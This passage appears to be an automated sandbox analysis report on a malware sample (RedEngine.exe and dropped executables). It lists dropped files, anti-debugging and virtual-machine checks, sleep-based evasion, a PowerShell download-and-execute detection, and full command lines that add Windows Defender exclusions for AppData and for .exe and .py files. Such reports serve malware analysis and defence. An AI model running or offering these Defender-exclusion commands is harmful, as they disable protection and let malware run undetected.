Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\select.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_14-17107

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	API coverage: 5.2 %
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	API coverage: 2.4 %

Source: C:\Users\user\Desktop\RedEngine.exe TID: 7696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe TID: 2980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe TID: 5264	Thread sleep count: 6141 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe TID: 5264	Thread sleep time: -153525s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe TID: 5264	Thread sleep count: 3853 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe TID: 5264	Thread sleep time: -96325s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3268	Thread sleep count: 2779 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2156	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1732	Thread sleep count: 349 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep count: 2698 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 440 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4580	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4036	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2700	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2936	Thread sleep count: 4310 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5104	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2856	Thread sleep count: 345 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4512	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep count: 4334 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep count: 1753 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Thread sleep count: Count: 6141 delay: -25			Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Thread sleep count: Count: 3853 delay: -25			Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC85A0 FindFirstFileExW,FindClose,	14_2_00007FF741BC85A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00007FF741BC79B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC85A0 FindFirstFileExW,FindClose,	31_2_00007FF741BC85A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	31_2_00007FF741BC79B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B985A0 FindFirstFileExW,FindClose,	38_2_00007FF795B985A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	38_2_00007FF795B979B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	38_2_00007FF795BB0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B985A0 FindFirstFileExW,FindClose,	42_2_00007FF795B985A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	42_2_00007FF795B979B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	42_2_00007FF795BB0B84

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe

Code function: 42_2_00007FFB23B00220 GetSystemInfo,VirtualAlloc,

42_2_00007FFB23B00220

Source: C:\Users\user\Desktop\RedEngine.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: clppth.exe, 0000002A.00000002.3782245765.00000276FE3E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: powershell.exe, 00000003.00000002.1682036119.000001D470662000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR_IN%SystemRoot%\system32\mswsock.dllT_BE_ABANDONEDCIM_ERR_FILTERED_ENUMERATION_NOT_SUPPORTEDCIM_ERR_CONTINUATION_ON_ERROR_NOT_SUPPORTEDCIM_ERR_SERVER_LIMITS_EXCEEDEDCIM_ERR_SERVER_IS_SHUTTING_DOWNCIM_ERR_QUERY_FEATURE_NOT_SUPPORTEDDMTF ReservedValueMap
Source: clppth.exe, 0000002A.00000002.3785563967.00000276FEBD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QhgfSERVER_KEY_EXCHANGE
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002962000.00000004.00000800.00020000.00000000.sdmp, mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3779391365.0000019C7128F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3291813035.000001B21382B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3293854029.000001B218E42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3294028336.000001B218E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp, mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\
Source: powershell.exe, 0000001E.00000002.2185599790.00000190D0F4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe

Code function: 11_2_00A72CC0 CheckRemoteDebuggerPresent,

11_2_00A72CC0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BD9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

14_2_00007FF741BD9924

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Code function: 13_2_0040A756 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

13_2_0040A756

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BE2790 GetProcessHeap,

14_2_00007FF741BE2790

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00409950 SetUnhandledExceptionFilter,	13_2_00409950
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Code function: 13_2_00409930 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	13_2_00409930
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BD9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF741BD9924
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BCC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF741BCC44C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BCBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FF741BCBBC0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BCC62C SetUnhandledExceptionFilter,	14_2_00007FF741BCC62C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_649413D0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	31_2_649413D0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BD9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00007FF741BD9924
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BCC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00007FF741BCC44C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BCBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_00007FF741BCBBC0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BCC62C SetUnhandledExceptionFilter,	31_2_00007FF741BCC62C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB040B3028 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00007FFB040B3028
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB040B2A70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_00007FFB040B2A70
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B48AA7C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00007FFB0B48AA7C
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B48A050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_00007FFB0B48A050
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB226C5FA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_00007FFB226C5FA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B9C62C SetUnhandledExceptionFilter,	38_2_00007FF795B9C62C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_00007FF795BA9924
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B9C44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_00007FF795B9C44C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B9BBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	38_2_00007FF795B9BBC0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B9C62C SetUnhandledExceptionFilter,	42_2_00007FF795B9C62C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FF795BA9924
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B9C44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FF795B9C44C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B9BBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FF795B9BBC0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB0D633028 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB0D633028
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB0D632A70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB0D632A70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3C38A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB1C3C38A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3C3E60 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB1C3C3E60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C541260 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB1C541260
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C69DEDC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB1C69DEDC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C69D4C0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB1C69D4C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB2272A050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB2272A050
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB2272AA7C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB2272AA7C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AC1AA0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB23AC1AA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AC14E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB23AC14E0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AF5FA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB23AF5FA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AF6534 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00007FFB23AF6534
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23B20AA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00007FFB23B20AA8

Source: C:\Users\user\Desktop\RedEngine.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7768.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_1316.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mgne4i3n.t1d1.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1316, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData"
